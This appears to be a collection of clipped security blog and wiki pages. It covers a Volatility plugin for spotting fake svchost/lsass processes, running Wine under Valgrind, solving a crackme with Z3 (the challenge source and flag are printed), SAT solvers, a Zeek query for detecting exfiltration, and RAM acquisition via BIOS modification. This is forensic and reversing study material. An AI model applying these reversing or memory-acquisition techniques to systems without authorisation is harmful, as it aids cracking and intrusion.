have a familiarity with what behavior is "normal", then it may be difficult to
determine the nature of this seemingly common process**.** By then end of the
analysis I had run quite a few plugins just to get the information I needed to
determine the intent of this process, and I began wondering if there was some
way to tie these commands together**.** I first looked into writing a bash
script to run multiple plugins automatically and parsing out specific
information from each output, but after a few minutes Googling I realized
writing my own plugin would be much cleaner**.** This post describes the
information I learned along the way, and will discuss the features \(present
and future\) of the plugin I wrote**.**  
  
**Volatility Documentation**  
Upon setting out on my journey to learn how to write my own Volatility plugin,
I stumbled upon the official developer's guide for Volatility 2**.** 2\. This
guide gives you all of the information you need to start writing your first
plugin**.** I also found a few blog posts useful, one from +Jamie Levy and one
from Command Line Kung Fu where MHL shows how writing a new plugin might be a
million times easier than parsing the output of multiple plugins**.**  
  
**malsysproc**  
I wrote the malsysproc plugin to be an automated method of looking at the
behaviors of system processes to look for malware hiding in plain sight**.**
Initially malsysproc looks at processes named svchost and lsass and determines
if the process is legitimate**.** This plugin will also look for processes
named similarly to svchost and lsass such as lssas or scvhost**.**  
  
The first test ran against each process is to check that the name of the
process is actually what is expected**.** I wanted to ensure the plugin
doesn't overlook the lookalikes, so I initially look for processes that match
a regular expression**.** The regular expression is very simple, and it looks
for characters to be switched around**.** If a process does have letters
switched around it will fail the name test**.**  
  
While looking for processes named lsass.exe I keep track of each process I
find, and if I find more than one lsass.exe I notify the analyst**.**  
  
After running the name test, it is important to ensure that the process is
running from the expected path**.** Often times hackers will name their
malware for a native Windows process, but they will put it in a different
directory like a temp folder**.** This check that the path matches the path of
the native Windows process \(C:\windows\system32\ for both lsass.exe and
svchost.exe\)**.**  
  
One way to spot a malicious svchost process is to run Volatility's pstree
plugin**.** pstree shows a graphical representation of each process' parent-
child relationship**.** svchost.exe should always be a child of services.exe,
and if it isn't then we have a clear indicator of wrong doing**.** Similarly,
lsass.exe should be the child of wininit.exe for systems running Vista or
better, or winlogon.exe for systems running XP or older**.**  
  
Time is another valuable method to use when looking for malware posing as
system processes**.** In this plugin, I compare each system process' creation
time to that of its parent, and if the system process was created more than 10
seconds after its parent it is flagged**.** I have not done extensive testing
on this test yet, but on the 3 memory samples I ran the plugin against it
hasn't had any false positives**.**  
  
Sometimes the Operating System gives system processes a higher base priority
than that of normal user processes**.** In his analysis of Stuxnet MHL notices
that although Stuxnet uses the process hollowing technique to inject itself
into a real lsass.exe process, it fails to properly set the base priority
level of the process**.** This allows us to pick out the imposter lsass.exe
processes**.** Unfortunately, svchost processes run at the default base
priority level, so this technique cannot be used to find malicious svchost
processes**.**  
  
Lastly, I compare the command line arguments of each system process to a list
of expect arguments**.** If the process was run without or with incorrect
expected arguments this test will flag the process as being suspicious**.**  
  
A few future additions will be adding tests for process owner, unexpected
network connections, looking for dll injection, and unexpected child
processes**.**  
  
Check out the code here **.** Copy the file to your volatility/plugins
directory, and it will be automatically added to your plugins list**.**  
  
**Examples**

<img src='img/Temp2_4613.png' />  
---  
An example of running malsysproc against an image running a malicious
svchost.exe process**.** This process was not running out of the
C:\WINDOWS\system32\ directory, did not have the correct parent process, was
started much later than the other svchost.exe processes, and did not have
appropriate command line parameters**.**  
<img src='img/Temp2_4614.png' />  
---  
An example of malsysproc when run against a stuxnet memory image**.** Because
multiple lsass.exe process were found the plugin warns the analyst that this
is not normal behavior**.** Also, these processes do not have the correct
parent process, they were started later than expected, their base priority
level was at the default instead of being elevated, and they appear to have an
unexpected command line \(in this case it seems they have extra '\' characters
to escape the '\' characters in the path itself**.**  
There you have it. I found a problem, researched solutions, learned the
interface, and produced my first plugin in about an hour of work**.** I plan
to follow this post up with more detail on what a plugin requires, and how you
can write your own**.** Thanks for reading\!  
  
If you have any questions, comments, or concerns please let me know at
jared@invoke-ir.com**.**  
  
  
****

# Wine and Valgrind - The Official Wine Wiki

**Created:**| _5/27/2009 10:14:15 AM_  
---|---  
**Updated:**| _5/27/2009 10:14:34 AM_  
**Author:**| __  
**Tags:**| _security tools Exploit programming_  
  

Valgrind \(http://www.valgrind.org/\) is a set of tools aimed at finding bugs
and performance problems in programs. By default, it catches reads of
uninitialized memory, accesses to inaccessible memory, and memory leaks.

Valgrind 3.4.0 supports Wine out of the box. However, to make Wine play
properly with valgrind, you need to build Wine yourself after installing
valgrind Also, to ignore errors not due to Wine, you will want to use the
Valgrind suppressions file Dan Kegel has put together.

You may need valgrind from svn to get pdb support. Also, some of John Reiser's
patches are still not merged, it's possible some of them are needed \(see
below\).

Inhaltsverzeichnis

  1. Running Wine under Valgrind
    1. The standard stuff
    2. Memory leak
    3. Origin Tracking
  2. Building Valgrind
  3. Running Wine's conformance tests under Valgrind
  4. Tip: compile Wine with -O1
  5. Tip: flush out warnings quicker with WINEDEBUG
  6. Test results
  7. What remains to be fixed in Valgrind & Wine

# Running Wine under Valgrind

## The standard stuff

Because of the way Wine is started, you must use the --trace-children option
in valgrind to make it work. For example:

[code]

    valgrind --trace-children=yes wine foo.exe
    
    
[/code]

Note that this command will also trace the wineserver if this is the first
Wine application running. As Valgrind is pretty intensive on CPU, you can
speed things up quite a bit by not running the wineserver under Valgrind.
Here's the way to do it: 1/ start a dummy program under Wine \(I like
winemine, pick up your own\), 2/ start valgrind for wine as you would normally
do.

The wineserver will be started by step 1/, not 2/ and won't be run under
Valgrind.

## Memory leak

Valgrind by default will give you a count of memory leaks at the end of the
run. To get more info, add the --leak-check=full flag when running Valgrind,
e.g.

[code]

    valgrind --tool=memcheck --trace-children=yes --leak-check=full wine foo.exe
    
    
[/code]

You'll likely get some generic leak errors: for module loading \(some modules
are not unloaded, and some glibc version leak memory in dlopen:ed libraries\),
and wine's X11 drivers loading \(the thread data structure is not free upon
last thread exit\). You can safely ignore those.

## Origin Tracking

In errors about memory blocks, Valgrind can give you a stack backtrace of the
point where the memory block was allocated, which is terrificly helpful. It
also makes valgrind run even slower. If you want this, you have to turn it on
with --track-origins=yes.

# Building Valgrind

Here's how to build Valgrind from fresh svn source:

[code]

    svn co svn://svn.valgrind.org/valgrind/trunk valgrind-svn
    cd valgrind-svn
    sh autogen.sh
    ./configure --prefix=/usr/local/valgrind-svn 
    make
    sudo make install
    
    
[/code]

If you don't have automake and autoconf installed, you may need to install
them with 'sudo apt-get install automake autoconf' first.

If you're on a 32 bit machine with a 64 bit kernel, you have to coax valgrind
into building the 32 bit version by adding `--build=i686-unknown-linux` to the
configure commandline, else you may get strange compile errors.

If you're on a system \(like Gutsy?\) where gcc's stack protector feature is
enabled by default, you may have to turn that off by doing

[code]

    export CC="gcc -fno-stack-protector" 
    
    
[/code]

before running configure.

# Running Wine's conformance tests under Valgrind

To run Wine tests under Valgrind, set the WINETEST\_WRAPPER and VALGRIND\_OPTS
variables, e.g.

[code]

    export VALGRIND_OPTS="--trace-children=yes --track-origins=yes --gen-suppressions=all --suppressions=$HOME/valgrind-suppressions --leak-check=full --num-callers=20  --workaround-gcc296-bugs=yes"
    PATH=/usr/local/valgrind-svn/bin:$PATH
    WINETEST_WRAPPER=valgrind make -k test > test.log 2>&1
    
    
[/code]

That --suppressions=$HOME/valgrind-suppressions refers to the following file,
which you have to download separately:

  * http://kegel.com/wine/valgrind/valgrind-suppressions

It suppresses warnings known to be bogus, not Wine's fault, or too hard to
deal with for now.

If you see lots of spurious errors \(e.g. in ld.so or Xlib\) just copy the
suppressions from the log file into valgrind-suppressions and rerun.If that
helped, please email your new suppressions file to dank@kegel.com, and I'll
update my copy.

See also MakeTestFailures for some tips on how to set up your system to reduce
test failures.

It's a good idea to delete ~/.wine before running tests, just in case you've
installed some app that interferes with them somehow \(e.g. iTunes\).

Here's an example script to build and run the whole test suite under Valgrind,
and split up the results:

  * http://kegel.com/wine/valgrind/valgrind-daily.sh

Here's a script that splits valgrind log files up by wine test:

  * http://kegel.com/wine/valgrind/valgrind-split-pl.txt

This puts the warnings from e.g. comctl32/tests/listview.c into the file vg-
comctl32\_listview.txt.

# Tip: compile Wine with -O1

Valgrind provides much better information if you compile wine without
inlining. To do this, change -O2 to -O1 in Wine's Makefiles. The easiest way
to do this for the whole tree is to override CFLAGS when configuring Wine,
e.g.

[code]

     ./configure CFLAGS="-g -O1"
     make depend && make
    
    
[/code]

Lowering the optimization level also reveals some errors that are suppressed
in optimized builds, and might suppress a few errors accidentally. Overall
it's a win. \(And if you don't mind slower runtime, disabling all
optimizations using -O0 instead of -O1 builds Wine nearly twice as fast.\)

# Tip: flush out warnings quicker with WINEDEBUG

Valgrind doesn't warn when uninitialised values are simply passed from one
place to another; it only warns when they're used to make some decision or
produce some output. If you're tracking down a particular warning, you might
find it helpful to print out the values involved just to force Valgrind to
show you whether they're defined. One easy way to do this is to look at the
source files involved for TRACE\(\) statements that already print out the
variables of interest. If there are any, you can activate them by setting the
environment variable WINEDEBUG=+foo or WINEDEBUG=+foo,+bar, where foo and bar
are the argument to the macro WINE\_DEFAULT\_DEBUG\_CHANNEL at the top of the
involved source files. So for example, if you're tracking down a warning in
test\_profile\_existing\(\) in kernel32/tests/profile.c, you would look at the
top of kernel32/profile.c, see the line
WINE\_DEFAULT\_DEBUG\_CHANNEL\(profile\), and rerun that file's tests with

[code]

    cd dlls/kernel32/tests
    WINEDEBUG=+profile RUNTEST_USE_VALGRIND=1 ../../../tools/runtest -P wine -M kernel32.dll -T ../../.. -p kernel32_test.exe.so profile.c > log 2>&1
    
    
[/code]

That will trigger the TRACE\(\) calls in kernel32/profile.c. Oh, boy will it
ever. Sometimes it's a bit overwhelming. In theory, we'd want to fix all the
extra Valgrind warnings this produces, but in practice, just grit your teeth
and ignore the extra new messages not related to the problem you're tracking
down.

# Test results

See http://kegel.com/wine/valgrind/ for Dan Kegel's Valgrind logs from running
the entire wine test suite.

# What remains to be fixed in Valgrind & Wine

  * Native debug symbol support. This was originally written in 2003 by Adam Gundy \(seehttp://valgrind.org/downloads/variants.html\), then updated in 2007 by John Reiser \(see

http://sourceforge.net/mailarchive/forum.php?thread\_name=4874ECF8.5070301%40BitWagon.com&forum\_name=valgrind-
developers \) and again in 2009 by Julian Seward. It should appear in
valgrind's trunk in late April 2009.

  * John Reiser's patchset did quite a few things, some of which never made it into valgrind's trunk. It's possible we still need some of them.

  

# Coding | Reversing: Revisiting find the flag crackme \(Part-1\)
**Created:**| _8/15/2016 1:47:55 PM_  
---|---  
**Updated:**| _8/15/2016 1:47:55 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  Revisiting find the flag crackme \(Part-1\)

Some time ago, I posted a CTF style challenge on tuts4you.

  

The goal of the crackme was to find the flag which prints the goodboy message.
Although the crackme was solved pretty quickly and all the provided solutions
were of good quality, I wanted to explore if it can be entirely solved by
automation, requiring as few manual interventions as possible. Today's post is
thus an attempt in that regard.

##  The challenge

For the purpose of this post, I have somewhat simplified the challenge. The
original crackme sported self modifying code \(SMC\), with pairs of
encryption/decryption loops. The challenge for demonstration in this post
contains no SMC. Further it contains only 30 equations instead of the original
100.

  

To make it easier to follow, I am providing the source used in this challenge.

  

1 | \#include <stdio.h>  
---|---  
2 | \#include <string.h>  
3 | \#include <stdlib.h>  
4 |   
5 | \#define FLAG "flag\{Y0u\_s0lved\_that\_r1ght\!\!\!\}"  
6 | \#define FLAGLEN sizeof\(FLAG\)  
7 | char f\[FLAGLEN+2\];  
8 |   
9 | int check\(\)  
10 | \{  
11 |  int numChecks = 0;  
12 |  if \(f\[15\]+f\[1\]+f\[19\]+f\[14\]+f\[19\]+f\[13\]+f\[18\]+f\[3\]+f\[20\]==931\) numChecks++;  
13 |  if \(f\[20\]+f\[17\]+f\[22\]+f\[6\]+f\[5\]+f\[13\]+f\[23\]+f\[2\]+f\[10\]+f\[12\]+f\[28\]+f\[25\]+f\[23\]+f\[14\]+f\[21\]+f\[1\]+f\[27\]+f\[17\]+f\[17\]+f\[26\]+f\[8\]+f\[2\]==1892\) numChecks++;  
14 |  if \(f\[20\]+f\[9\]+f\[8\]+f\[3\]+f\[27\]+f\[11\]+f\[16\]+f\[17\]+f\[2\]+f\[3\]+f\[1\]==1077\) numChecks++;  
15 |  if \(f\[0\]+f\[15\]+f\[23\]+f\[25\]+f\[17\]+f\[28\]+f\[15\]+f\[13\]+f\[13\]+f\[29\]+f\[4\]+f\[15\]+f\[26\]+f\[13\]==1327\) numChecks++;  
16 |  if \(f\[23\]+f\[14\]+f\[26\]+f\[12\]+f\[4\]+f\[27\]+f\[21\]+f\[29\]==749\) numChecks++;  
17 |  if \(f\[24\]+f\[7\]+f\[12\]+f\[26\]+f\[2\]+f\[6\]+f\[27\]+f\[3\]+f\[21\]==767\) numChecks++;  
18 |  if \(f\[20\]+f\[8\]+f\[10\]+f\[5\]+f\[13\]+f\[24\]+f\[4\]+f\[9\]+f\[1\]+f\[22\]+f\[23\]+f\[25\]+f\[15\]+f\[29\]==1366\) numChecks++;  
19 |  if \(f\[20\]+f\[3\]+f\[11\]+f\[3\]+f\[24\]+f\[28\]+f\[27\]+f\[2\]+f\[2\]+f\[16\]+f\[4\]+f\[8\]+f\[5\]+f\[29\]+f\[29\]+f\[17\]+f\[19\]+f\[0\]+f\[20\]+f\[24\]+f\[5\]==2056\) numChecks++;  
20 |  if \(f\[20\]+f\[15\]+f\[7\]+f\[13\]+f\[0\]+f\[24\]+f\[20\]+f\[29\]+f\[29\]+f\[10\]+f\[24\]+f\[10\]+f\[5\]+f\[18\]==1345\) numChecks++;  
21 |  if \(f\[25\]+f\[12\]==234\) numChecks++;  
22 |  if \(f\[11\]+f\[17\]+f\[11\]==320\) numChecks++;  
23 |  if \(f\[16\]+f\[3\]+f\[25\]+f\[28\]+f\[3\]+f\[7\]+f\[14\]+f\[8\]+f\[13\]+f\[27\]+f\[15\]+f\[12\]==1130\) numChecks++;  
24 |  if \(f\[15\]+f\[6\]+f\[22\]+f\[6\]+f\[6\]+f\[3\]+f\[0\]+f\[8\]+f\[0\]+f\[11\]+f\[9\]+f\[25\]+f\[23\]+f\[12\]==1250\) numChecks++;  
25 |  if \(f\[2\]+f\[23\]+f\[6\]+f\[11\]+f\[26\]+f\[2\]+f\[9\]+f\[21\]+f\[9\]+f\[15\]+f\[22\]+f\[15\]+f\[12\]+f\[7\]+f\[27\]+f\[22\]+f\[15\]+f\[26\]+f\[15\]+f\[21\]+f\[24\]+f\[10\]+f\[14\]+f\[2\]==2072\) numChecks++;  
26 |  if \(f\[17\]+f\[3\]+f\[28\]+f\[2\]+f\[15\]+f\[18\]+f\[5\]+f\[1\]+f\[25\]+f\[16\]+f\[19\]+f\[27\]+f\[17\]+f\[11\]+f\[28\]+f\[2\]==1449\) numChecks++;  
27 |  if \(f\[13\]+f\[15\]+f\[2\]+f\[3\]+f\[29\]+f\[17\]+f\[29\]+f\[6\]+f\[1\]+f\[23\]+f\[8\]==1104\) numChecks++;  
28 |  if \(f\[17\]+f\[11\]+f\[24\]+f\[21\]+f\[1\]==538\) numChecks++;  
29 |  if \(f\[28\]+f\[19\]+f\[23\]+f\[21\]+f\[14\]+f\[1\]+f\[11\]+f\[3\]+f\[18\]+f\[14\]+f\[2\]+f\[13\]+f\[9\]+f\[7\]+f\[20\]+f\[11\]+f\[10\]+f\[19\]+f\[21\]+f\[1\]==2001\) numChecks++;  
30 |  if \(f\[22\]+f\[16\]+f\[26\]+f\[21\]+f\[4\]+f\[7\]+f\[15\]+f\[17\]+f\[0\]+f\[3\]+f\[7\]+f\[20\]+f\[19\]+f\[29\]+f\[26\]+f\[20\]+f\[10\]+f\[0\]==1687\) numChecks++;  
31 |  if \(f\[24\]+f\[24\]+f\[14\]+f\[3\]+f\[23\]+f\[26\]+f\[6\]+f\[26\]+f\[7\]+f\[27\]+f\[27\]+f\[25\]+f\[11\]+f\[14\]+f\[22\]+f\[24\]+f\[10\]+f\[21\]+f\[1\]+f\[27\]+f\[22\]+f\[5\]+f\[4\]+f\[4\]+f\[16\]+f\[25\]+f\[0\]+f\[6\]+f\[5\]==2446\) numChecks++;  
32 |  if \(f\[7\]+f\[21\]+f\[16\]+f\[13\]+f\[16\]+f\[10\]+f\[1\]+f\[15\]+f\[6\]+f\[9\]+f\[12\]+f\[25\]==1212\) numChecks++;  
33 |  if \(f\[16\]+f\[1\]+f\[26\]+f\[10\]+f\[11\]+f\[10\]+f\[12\]+f\[0\]+f\[2\]+f\[9\]==893\) numChecks++;  
34 |  if \(f\[6\]+f\[25\]+f\[22\]+f\[6\]+f\[23\]+f\[20\]+f\[29\]+f\[23\]+f\[3\]+f\[15\]+f\[28\]+f\[12\]+f\[17\]+f\[0\]+f\[27\]==1275\) numChecks++;  
35 |  if \(f\[9\]+f\[1\]+f\[11\]==331\) numChecks++;  
36 |  if \(f\[17\]+f\[4\]+f\[2\]+f\[20\]+f\[16\]+f\[12\]+f\[24\]+f\[8\]+f\[6\]+f\[3\]+f\[5\]+f\[4\]+f\[20\]+f\[28\]+f\[2\]+f\[13\]+f\[10\]+f\[1\]+f\[28\]+f\[13\]+f\[9\]+f\[27\]+f\[25\]+f\[18\]+f\[27\]+f\[14\]+f\[4\]==2448\) numChecks++;  
37 |  if \(f\[16\]+f\[7\]+f\[11\]+f\[25\]+f\[11\]+f\[5\]+f\[15\]+f\[19\]+f\[9\]+f\[1\]+f\[28\]+f\[15\]+f\[26\]+f\[3\]==1352\) numChecks++;  
38 |  if \(f\[16\]+f\[23\]+f\[22\]+f\[22\]+f\[25\]+f\[15\]+f\[20\]+f\[1\]+f\[16\]+f\[9\]+f\[18\]+f\[27\]+f\[6\]+f\[3\]+f\[1\]+f\[4\]+f\[19\]+f\[0\]+f\[8\]+f\[14\]+f\[11\]+f\[13\]+f\[22\]+f\[23\]+f\[23\]==2351\) numChecks++;  
39 |  if \(f\[21\]+f\[0\]+f\[20\]+f\[16\]+f\[20\]+f\[28\]+f\[2\]+f\[4\]+f\[12\]+f\[27\]+f\[11\]+f\[25\]+f\[28\]+f\[20\]+f\[4\]+f\[9\]+f\[17\]+f\[3\]+f\[12\]+f\[10\]+f\[7\]+f\[23\]+f\[2\]+f\[7\]+f\[29\]+f\[13\]+f\[21\]==2663\) numChecks++;  
40 |  if \(f\[6\]+f\[6\]+f\[7\]+f\[19\]+f\[6\]+f\[19\]+f\[6\]+f\[18\]+f\[9\]==753\) numChecks++;  
41 |  if \(f\[14\]+f\[22\]+f\[27\]+f\[18\]+f\[9\]+f\[18\]+f\[8\]+f\[13\]+f\[27\]+f\[17\]+f\[16\]+f\[9\]+f\[19\]+f\[16\]+f\[2\]+f\[21\]+f\[23\]+f\[1\]==1709\) numChecks++;  
42 |   
43 |  return numChecks == 30;  
44 | \}  
45 |   
46 | int main\(\)  
47 | \{  
48 |  puts\("\----------Find the flag: By ExtremeCoders, Nov 2015----------"\);  
49 |  puts\("Enter your flag: "\);  
50 |  fgets\(f, FLAGLEN + 1, stdin\);  
51 |   
52 |  if \(check\(\)\) puts\("That's it\!"\);  
53 |  else puts\("Nope, Try again :\["\);  
54 |  return 0;  
55 | \}  
view raw findtheflag.cpp hosted with ❤ by GitHub

This can be easily compiled to an ELF.

  
ec@ubuntu:~/Desktop/crackme$ gcc findtheflag.cpp -o findtheflag  
ec@ubuntu:~/Desktop/crackme$  
ec@ubuntu:~/Desktop/crackme$ ./findtheflag  
\----------Find the flag: By ExtremeCoders, Nov 2015----------  
Enter your flag:  
flag\{Y0u\_s0lved\_that\_r1ght\!\!\!\}  
That's it\!  
ec@ubuntu:~/Desktop/crackme$  
  

Okay, that's not guesswork, we already know our flag, but let's see how we can
find the flag.

  

##  The disassembly

  

  

<img src='img/ida.png' width='400' height='188' />

  

Using IDA, we can see the structure of the challenge. It accepts the flag via
fgets. This is stored in the global variable f. The function check, checks
whether the provided flag is correct or not.

  

Moving onto the function check, we can see that it's quite big, comprising of
a large number of basic blocks. Our target of this post would be to see if we
can find out the flag without inspecting the code.

  

<img src='img/checkdissasembly.png' width='16' height='320' />

  

##  Enter symbolic execution

Quoting Wikipedia, _"symbolic execution \(also symbolic evaluation\) is a
means of analyzing a program to determine what inputs cause each part of a
program to execute. An interpreter follows the program, assuming symbolic
values for inputs rather than obtaining actual inputs as normal execution of
the program would, a case of abstract interpretation. It thus arrives at
expressions in terms of those symbols for expressions and variables in the
program, and constraints in terms of those symbols for the possible outcomes
of each conditional branch."_

  

Thus symbolic execution is a way of running a program using symbolic values
instead of providing concrete values. For instance, consider the following
snippet of x86 assembly.

  
add eax, 0xDEADBEEF  
xor eax, 0x1337  
shr eax, 0x3  
  

Let's say register eax initially contained the value 0x41414141. After
executing these three lines it would contain 0x03FDE260.

Now suppose we are given that eax contains 0x31337 after executing the
snippet. Can we find out what was the initial value of eax ? Of course we can,
and we need to invert the algorithm for this.

  
shl eax, 0x3  
xor eax, 0x1337  
sub eax, 0xDEADBEEF  
  

By running the snippet we can find that eax must hold the initial value
0x216ACBA0 for the given target value. The example above consisted of only 3
instructions. Inverting a huge algorithm consisting of a few hundred
instructions would certainly not be a pleasant experience. It is then when
symbolic execution proves fruitful. If we represent the entire system
symbolically, we can see how a given initial value affects the execution and
we can certainly find out the initial value when given a target value.

  

##  Using Z3 SMT Solver

For represent the above 3 instruction system symbolically we can use Z3. We
will use the python bindings.

[code]

    #!/usr/bin/python
    from z3 import *
    
    # Declare a 32 bit vector representing register eax
    reg_eax = BitVec('eax', 32)
    
    # add eax, 0xDEADBEEF
    eax = reg_eax + 0xDEADBEEF
    
    # xor eax, 0x1337
    eax = eax ^ 0x1337
    
    # shr eax, 0x3
    eax = eax >> 0x3
    
    # Create a solver instance
    s = Solver()
    
    # Add the constraint
    s.add(eax == 0x31337)
    
    # Check if satisfied
    if s.check() == sat:
     # Print value
     print hex(s.model()[reg_eax].as_long())
[/code]

  

You can download the above code from here. Running the code you can easily see
that eax must hold the original value of 0x216ACBA0 for the given target value
of 0x31337.

  
_Stay tuned for the next part..._  

Part 2 is ready\!

Posted by  Extreme Coders at 11:54:00 <img src='img/2134_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: angr, constraint satisfaction, ida, python, symbolic execution, z3

  

  *[11:54:00]: 2016-03-09T11:54:00+05:30

# SAT Solvers as Smart Search Engines | Wonderings of a SAT geek
**Created:**| _3/2/2019 6:24:15 PM_  
---|---  
**Updated:**| _3/2/2019 6:24:15 PM_  
**Author:**| _wishi_  
**Tags:**| _searching sat SMT_  
  

  

Satisfiability problem solvers, or SAT solvers for short, try to find a
solution to decidable, finite problems such as cryptography, planning,
scheduling, and the like. They are very finely tuned engines that can be
looked at in two main ways . One is to see them as proof generators, where the
SAT solver is building a proof of unsatisfiability as it runs, i.e. it tries
to prove that there is no solution to the problem. Another way is to see SAT
solvers as smart search engines. In this blog post, I’ll take this latter view
and try to explain why I think intermediary variables are important. So, for
the sake of argument, let’s forget that SAT solvers sometimes restart the
search \(forgetting where they were before\) and learn clauses \(cutting down
the search space and remembering where not go again\). Let’s just pretend all
they do is search.

### Searching

The CryptoMiniSat SAT solver used to be able to generate graphs that show how
a search through the search space went. Search spaces in these domains are
exponential in size, say, 2^n in case there are n variables involved. I don’t
have the search visualization code anymore but below is an example of such a
search tree. The search starts at the very top not far from the middle, it
descends towards the bottom left, then iteratively backtracks all the way to
the top, and then descends towards the bottom right. Every pentagon at the
bottom of a line is a place where the SAT solver backtracked. Observe that it
_never_ goes all the way back to the top — except once, when the top
assignment needs to be flipped. Instead, it only goes back _some_ way,
partially unassigning variables. The bottom right corner is where the solution
is found after many-many partial backtracks and associated partial
unassignements:

<img src='img/Temp2_7140.png' width='604' height='331' />

What I want you to take away from this graph is the following: the solver
iteratively tries to set a variable a value, calculates forward, and if it
doesn’t work, it will partially backtrack, flip its value to its opposite,
then descend again.

### Brute force search vs. SAT solving

Trying one value and then trying the other sounds suspiciously like brute
force search. Brute force search does exactly that, in a systematic and
incredibly efficient way. We can build highly specialized executables and even
hardware, to perform this task. If you look at e.g. Bitcoin mining, you will
see a lot of specialized hardware, ASICs, doing brute-force search. And if you
look at rainbow tables, you’ll see a lot of bit slicing.

So why waste our time doing all this fancy value propagation and backtracking
when we could use a much more effective, systematic search system? The answer
is, if you generated your problem description wrongly, then basically, for no
good reason, and you are probably better off doing brute-force search. But if
you did well, then a SAT solver can perform a significantly better search than
brute-force. The trick lies in intermediary variables, and partial value
assignments.

### Partial value assignments

So let’s say that your brute force engine is about to check one input variable
setting. It sets the input variables, runs the whole algorithm, and computes
the output. The output is wrong though. Here is where things go weird. The
brute force engine now **completely erases its state,** takes another input
and **runs the whole algorithm again.**

So, brute force does the whole calculation again, starting from a clean state,
every time. What we have to recognize is that this is actually a **design
choice** _._ Another design choice is to calculate what variables were
affected by one of the input bits, unset these variables, flip the input bit
value, and continue running the calculation. This has the following
requirements:

  1. A way to quickly determine which intermediate values depend on which other ones so we can unset variables and know which intermediate, already calculated, dependent variables also need to be unset.
  2. A way to quickly unset variables
  3. A good set of intermediary values so we can keep as much state of the calculation as possible

If you think about it, the above is what SAT solvers do, well mostly. In fact,
they do \(1\) only partially: they allow variables only to be unset in reverse
chronological order. Calculating and maintaining a complete dependency graph
seems too expensive. So we unset more variables than we need to. But we can
unset them quickly and correctly and we compensate for the lack of correct
dependency check in \(1\) by caching polarities. This caches the independent-
but-nevertheless-unset variables’ values and then hopes to reassign them later
to the correct value. Not perfect, but not too shabby either.

### Modeling and intermediary variables

To satisfy requirement \(3\) one must have a good set of intermediary
variables in the input problem \(described in DIMACS format\), so the SAT
solver can both backtrack and evaluate _partially_. Unfortunately, this is not
really in the hands of the SAT solver. It is in the hands of the person
describing the problem. _Modeling_ is the art of transforming a problem that
is usually expressed in natural language \(such as “A person cannot be
scheduled to be on a night shift twice in a row”\) into a problem that can be
given to a SAT solver.

Modeling has lots of interesting constraints, one of which I often hear and I
am confused by: that it should minimize the number of variables. Given the
above, that SAT solvers can be seen at as partial evaluation engines that
thrive on the fact that they can partially evaluate and partially backtrack,
why would anyone try to minimize the number of variables? If the solver has no
intermediary variables to backtrack to, the solver will simply backtrack all
the way to the beginning every time, thus becoming a really bad brute-force
engine that incidentally tracks a dependency graph and is definitely non-
optimized for the task at hand.

### Some final thoughts

In the above I tried to take a premise, i.e. that SAT solvers are just search
engines, and ran with it. I don’t think the results are that surprising. Of
course, nothing is black-and-white. Having hundreds of millions of variables
in your input is not exactly optimal. But minimizing the number of variables
given to a SAT solver at the expense of expressive intermediate variables is a
huge no-no.

  

# How to Use Zeek to Catch Data Exfiltration With a Single Command - Video
Blog - Active Countermeasures

**Created:**| _1/26/2020 3:16:46 PM_  
---|---  
**Updated:**| _1/26/2020 3:16:46 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# How to Use Zeek to Catch Data Exfiltration With a Single Command – Video
Blog

January 7, 2020 Chris Brenton General, Network Tools, Technology, Threat
Hunting, Video Blog

<img src='img/Temp2_4088.jpg' width='970' height='700' />

### Video – Using Zeek to Catch Data Exfiltration

## Active Countermeasures

### 828 subscribers

Use Zeek to Catch Data Exfiltration

### Command Used

[code]

    cat conn.*log | bro-cut id.orig_h id.resp_h orig_bytes | sort | grep -v -e '^$' | grep -v '-' | datamash -g 1,2 sum 3 | sort -k 3 -rn | head -10
[/code]

### Video Transcript

 _\(00:00\)_  
Hey folks, I’m Chris Brenton and today I’m going to show you how you can use
your Zeek data in a single command to identify which of your internal systems
is sending the most amount of data to the internet. This could be useful if
you’re worried about data exfiltration, an internal system that may have
gotten whacked, or an internal user that’s gone rogue that’s sending a lot of
information out to some IP address out on the internet. This assumes that
you’ve got Zeek installed, just before the internal interface of your firewall
so it can see all the traffic going out to the internet. Also assumes you’ve
got Zeek running all the time. So you’ve got like 24 hours worth of data to
work with. But with that said, we’re simply catting out the clown logs. We’re
running it through bro-cut, and bro-cut is allowing us to go in and grab the
internal IP, the IP address it’s talking to out in the internet, and how many
bytes that internal IP address is sending out.

_\(00:52\)_  
We go through, we sort the data, we remove any blank lines. We also go through
and remove any times that the internal system tried to connect to somebody,
but no payload information was transferred. Zeek will identify that with a
dash. We want to pull those out. And then I’m simply running it through
datamash to say, hey, anytime the source and destination IP address is the
same, sum up that third column, sum up the total number of bytes that was sent
from the internal system out to the internet. Sort it so that we now see
highest to lowest. And I just want to look at my top 10. So now when I go in
and I run this command, here is what we get. So when I want to identify which
of my internal systems is sending the most amount of data out to the internet,
hey, here it is right up at the top of the list.

_\(01:34\)_  
That’s about it. Hope you found this useful. Thanks.

Interested in threat hunting tools? Check out AI-Hunter

<img src='img/Temp2_4087.jpg' width='200' height='200' />

Chris Brenton

Chris has been a leader in the IT and security industry for over 20 years.
He’s a published author of multiple security books and the primary author of
the Cloud Security Alliance’s online training material. As a Fellow
Instructor, Chris developed and delivered multiple courses for the SANS
Institute. As an alumni of Y-Combinator, Chris has assisted multiple startups,
helping them to improve their product security through continuous development
and identifying their product market fit.

Share this:

TwitterLinkedInFacebookEmailCopy LinkTeilen

Tags: Active Countermeasures commands Cyber Threat Hunting data exfiltration
Network Threat Hunting Video Blog Zeek

Previous Next

  

# OHM2013 Program

**Created:**| _8/6/2013 10:28:50 AM_  
---|---  
**Updated:**| _8/6/2013 10:30:19 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

# **R** AM Memory acquisition using live-BIOS modification****

By Ruud Schramp

BIOS swap on server PC**.** Memory acquisition using firewire, reboot or
userspace tools is standard**.** What if your intel motherboard BIOS wipes ECC
memory and live plugging PCIe fails**?**

The presentation describes an alternative way to initialise RAM using methods
from the coreboot project**.** After initialisation the RAM can be dumped
compressed over serial and a LPC-USB device**.**

# Exploit Monday: Dropping Executables with Powershell

**Created:**| _9/15/2011 6:15:24 PM_  
---|---  
**Updated:**| _9/15/2011 6:15:24 PM_  
**Author:**| __  
**Tags:**| _post-exploitation powershell_  
  

### Dropping Executables with Powershell

